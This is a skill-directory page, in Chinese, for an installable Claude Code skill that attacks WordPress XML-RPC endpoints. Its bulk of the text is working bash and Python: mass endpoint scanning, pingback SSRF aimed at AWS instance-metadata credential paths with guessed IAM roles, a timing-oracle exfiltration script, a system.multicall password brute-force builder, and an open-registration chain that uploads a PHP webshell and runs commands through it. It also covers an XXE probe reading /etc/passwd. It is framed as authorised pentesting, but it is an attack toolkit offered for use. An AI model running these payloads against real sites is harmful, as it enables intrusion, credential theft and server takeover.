mcpField
X
xmlrpc-exploitation

xmlrpc-exploitation

github.com/uphiago安全1.3k39 次安装8 周前更新
代码仓库

关于 xmlrpc-exploitation

xmlrpc-exploitation 是面向授权渗透测试人员的 WordPress XML-RPC 安全测试技能。五阶段流程涵盖端点检测、方法枚举、SSRF、批量凭据测试及特定条件下的上传 RCE 检查。

主要功能

  1. 01批量检测 XML-RPC 端点
  2. 02枚举可用方法
  3. 03SSRF 验证指引
  4. 04Multicall 凭据测试
  5. 05有条件的上传转 RCE 检查
  6. 06复测与误报排查指引

适用场景

  1. 01评估获授权的 WordPress 目标
  2. 02通过回连验证 pingback SSRF
  3. 03在测试限制内评估 multicall 暴露情况
  4. 04复测 XML-RPC 变更并避免重定向干扰

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill xmlrpc-exploitation

安装后在 Claude Code 中输入/xmlrpc-exploitation确认已加载。

详细介绍

XMLRPC 利用技能

针对 WordPress XMLRPC 端点的 5 阶段利用流程。涵盖批量检测、方法枚举、通过 pingback.ping 实现 SSRF、通过 system.multicall 放大暴力破解(放大 1000 倍),以及在开放注册时通过 wp.uploadFile 实现 RCE。通过 wp-mass-recon 发现的 WordPress 目标中,约 52% 开放了 XMLRPC。

使用场景

  • wp-mass-recon 检测到 XMLRPC 在 POST 请求中返回 HTTP 200。
  • 目标运行 WordPress,且开放注册(攻击链:上传 → Webshell → RCE)。
  • 需要用于破解 WordPress 凭据的暴力破解放大手段。
  • 通过 pingback.ping 探测云元数据端点的内部 SSRF。

前提条件

  • 带有 curl 的 terminal。
  • 已确认目标的 XMLRPC 端点(/xmlrpc.php 在 POST 请求中调用 demo.sayHello 时返回 200)。
  • 对于 RCE 攻击链:目标必须开放注册,或存在其他文件上传路径。
  • 对于 SSRF 攻击链:需要 Collaborator/Burp Collaborator 端点或内部目标 IP。

运行方法

# Phase 1: Bulk detection on target list
while read -r domain; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
  [[ "$code" == "200" ]] && echo "OPEN: $domain"
  sleep 0.3
done < targets.txt

# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

快速参考

方法能力严重程度
demo.sayHello确认 XMLRPC 正常运行信息
system.listMethods枚举所有可用方法信息
system.multicall在单个请求中执行多个方法严重 — 暴力破解放大 1000 倍
pingback.pingSSRF — 服务器发起出站 HTTP 请求高 — 探测内部网络、IMDS
wp.getUsers枚举 WordPress 用户中
wp.getPosts列出已发布的文章低
wp.uploadFile将文件上传到媒体库严重 — 与开放注册结合时可上传 Webshell
wp.getOptions读取 WordPress 选项(siteurl、admin_email)中
wp.getPostStatusList获取文章状态低

流程

阶段 1 — 批量检测
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt

echo "domain,code,hello" > xmlrpc_open.csv

while read -r domain; do
  resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
  if echo "$resp" | grep -q "Hello"; then
    echo "$domain,200,yes" >> xmlrpc_open.csv
    echo "[OPEN] $domain"
  fi
done < targets.txt
阶段 2 — 方法枚举
TARGET="$1"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -H "Accept-Encoding: identity" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
  | python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort

重点关注的方法:system.multicall、pingback.ping、wp.uploadFile、wp.getUsers、wp.getOptions。

阶段 3 — 通过 pingback.ping 实现 SSRF
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>$CALLBACK</string></value></param>
    <param><value><string>https://$TARGET/?p=1</string></value></param>
  </params>
</methodCall>"

如果回调收到请求,则目标存在 SSRF 漏洞。接下来探测内部服务(务必包含 Accept-Encoding: identity,以避免 LiteSpeed gzip 压缩):

# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>'

# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
       "EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
       "webserver-role" "app-role" "default")

for role in "${ROLES[@]}"; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>" 2>/dev/null)

  fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
  echo "  role=$role -> faultCode ${fc:-no-fault}"
  sleep 0.5
done

向内部地址发送 pingback 时,faultCode 0 表示请求已到达目标。faultCode 17 或 32 表示请求被阻止或目标不可达。

阶段 3b — 通过盲 SSRF 和计时预言机提取数据

当 pingback.ping 返回 faultCode 0,但无法查看响应内容(WordPress 的常见行为)时,可以利用计时差异逐字符提取数据或枚举 IAM 角色。

工作原理: pingback SSRF 会获取 URL,IMDS 会返回数据。WordPress 服务器会丢弃响应正文(因为它不是有效的博客文章 URL),但读取响应所花费的时间与响应大小相关。

IAM 角色枚举:

import subprocess, time

TARGET = "target.com"

def ssrf_time(url):
    xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
    start = time.perf_counter()
    subprocess.run(["curl", "-sk", "-X", "POST",
        f"https://{TARGET}/xmlrpc.php",
        "-H", "Content-Type: text/xml", "-d", xml],
        capture_output=True, timeout=15)
    return time.perf_counter() - start

# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")

# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
         "SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
    t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
    exists = "FOUND" if t > baseline * 1.15 else "404"
    print(f"  {role}: {t:.3f}s -> {exists}")

案例来源(retail.example.com,2026 年 6 月):

  • IMDS /meta-data/:344ms(响应较大 — 路径列表)
  • IMDS /iam/security-credentials/:435ms(响应很大 — IAM 角色列表)
  • IMDS /instance-id:301ms(响应较小 — 短字符串)

注意事项: 网络抖动可能导致 ±50ms 的偏差。每项测试运行 3 次,并取中位数。如果基线偏差超过 20%,则此技术不可靠。

阶段 4 — 放大暴力破解(system.multicall)

system.multicall 允许在单个 HTTP 请求中执行多个 XMLRPC 方法。单个请求可以包含 100 多个使用不同凭据的 wp.getUsers 调用,相比顺序请求可放大 1000 倍。

TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"

# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
    xml += f'''<value><struct>
  <member><name>methodName</name><value><string>wp.getUsers</string></value></member>
  <member><name>params</name><value><array><data>
    <value><string>{pw}</string></value>
  </data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d @/tmp/multicall_payload.xml

如果身份验证成功,响应中会显示用户数据,而不是 faultCode 403。

阶段 5 — 通过开放注册和 wp.uploadFile 实现 RCE

如果目标开放注册,且 XMLRPC 支持 wp.uploadFile:

TARGET="$1"

# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
  -d "user_login=attackusr&[email protected]&wp-submit=Register"

# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
  echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
  echo "SUBSCRIBER - upload blocked. Need escalation first:"
  echo "  a) Brute force admin (system.multicall 1000 pwd/req)"
  echo "  b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
  echo "  c) Check if default role changed by plugin"
  exit 1
fi

# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\\\"1.0\\\"?>
<methodCall>
  <methodName>wp.uploadFile</methodName>
  <params>
    <param><value><string>1</string></value></param>
    <param><value><string>attackusr</string></value></param>
    <param><value><string>password123</string></value></param>
    <param><value><struct>
      <member><name>name</name><value><string>shell.php</string></value></member>
      <member><name>type</name><value><string>application/x-php</string></value></member>
      <member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
    </struct></value></param>
  </params>
</methodCall>"

# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"

重新测试行为

测试原始 XML-RPC URL 时不要跟随重定向,然后单独检查任何重定向目标。跟随重定向可能会用 HTML 页面替换协议响应,从而造成误报回归。状态码变化不足以判定端点;必须要求响应正文符合协议,或出现预期的受控回调。

注意事项

  • pingback 中的 faultCode 0 ≠ 已确认 SSRF。 有些服务端会对所有 pingback 返回 faultCode 0。请先使用自己的 Collaborator 回调验证(这是决定性测试)。
  • 解析 faultCode: 使用 re.search(r'faultCode[^0-9]*([0-9]+)', r.text) 可靠地提取 fault code。faultCode 0 = 已接受,faultCode 17 = 找不到 URL,faultCode 32 = 已阻止/发生错误。
  • system.multicall 可能受限。 有些主机会在 system.listMethods 中公开此方法,但实际调用时会返回 faultCode。构造多调用 payload 前,先用单个调用进行测试。
  • 跟随重定向(-L)可能会隐藏 XML-RPC POST 响应。 使用不带 -L 的方式捕获原始响应;将重定向作为单独的端点调查。
  • LiteSpeed 在 multicall 时返回 HTTP 500。 即使内部方法执行成功,LiteSpeed 也会在 multicall payload 超过 50kb 时返回 HTTP 500。仍要检查 HTTP 500 响应正文——查找 isAdmin、blogid 或 blogName 字符串。使用较小的批次(每个请求尝试 50 个密码,而不是 100 个)。
  • 备用 IP 编码会改变解析器行为。 仅当授权明确包含 SSRF 过滤器绕过验证时才测试这些编码。
  • 大型 multicall 批次会加重负载。 从单个方法调用开始,只在约定的请求和身份验证测试限制范围内逐步增加。
  • BusyBox grep 不支持 -P。 精简环境可能提供 BusyBox grep,它不支持与 Perl 兼容的正则表达式。复杂匹配可使用 grep -oE 或 Python。
  • pingback SSRF 中所有端口都会返回 faultCode 0。 无论内部 IP 的端口是否实际开放,WordPress pingback.ping 都会返回 faultCode 0。该响应无法区分端口开放还是关闭。扫描端口时,可使用基于时序的检测:有监听服务的开放端口响应更快(不到 1 秒),而关闭端口会超时。但通过 CDN 缓存的 XMLRPC 处理程序进行检测,即便如此也不可靠。
  • system.multicall 成功标记。 multicall 响应中的成功身份验证会显示 isAdmin、blogid 或 blogName,而不仅仅是没有 faultCode 403。请检查这三个关键词。
  • LiteSpeed gzip 压缩。 即使没有 Accept-Encoding,LiteSpeed 也会用 gzip 压缩 XMLRPC 响应。为 curl 添加 -H "Accept-Encoding: identity",或通过 Python 管道解压 gzip。否则,grep 无法在压缩后的二进制数据中找到 fault code。
  • 正则表达式的可移植性很重要。 只有 BusyBox grep 可用时,使用 Python 处理需要 PCRE 功能的表达式。
  • wp.uploadFile 需要身份验证。 没有有效凭据或开放注册时,此漏洞无法利用。重要:即使凭据有效,WordPress 6.x 也会将新用户注册为 SUBSCRIBER——订阅者无法通过 XMLRPC 上传文件。 尝试上传前,务必通过 wp.getProfile 验证角色。如果是订阅者,请尝试提权(暴力破解管理员凭据、利用插件 CVE,或使用应用程序密码)。\n- Mailinator 密码重置流程。 WordPress 注册会发送重置链接(而不是密码)。你必须:(1) 读取 Mailinator 收件箱,从 URL 中提取 key=...;(2) GET 重置页面以获取 wp-resetpass-* Cookie;(3) POST 新密码。邮件 URL 中的 rp_key 参数是必需的——HTML 表单可能不会自动填入该参数。
  • XMLRPC 中的 XXE: 较旧的 PHP/libxml2 版本在解析 XMLRPC 时会启用外部实体。可将 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 作为额外的探测向量。
  • IMDSv2 会阻止 pingback: IMDSv2 需要 X-aws-ec2-metadata-token 请求头(向 /latest/api/token 发送 PUT)。pingback SSRF 只能设置 URL 目标,无法设置请求头。攻击面是 IMDSv1。

验证

  • demo.sayHello MUST 在响应正文中返回 Hello!,以确认 XMLRPC 正常运行。
  • pingback.ping SSRF MUST 在你控制的服务器上触发回调(而不只是返回 faultCode 0)。
  • system.multicall MUST 为每个嵌入的方法调用返回不同的响应。
  • RCE 链 MUST 从上传的 webshell 中生成 id 或 whoami 的输出。
  • IMDS 角色猜测:在没有 Collaborator 回调的角色路径上返回 faultCode 0 = 未确认——应视为“SSRF 可能存在,但需要带外验证”。

评论

支持 Markdown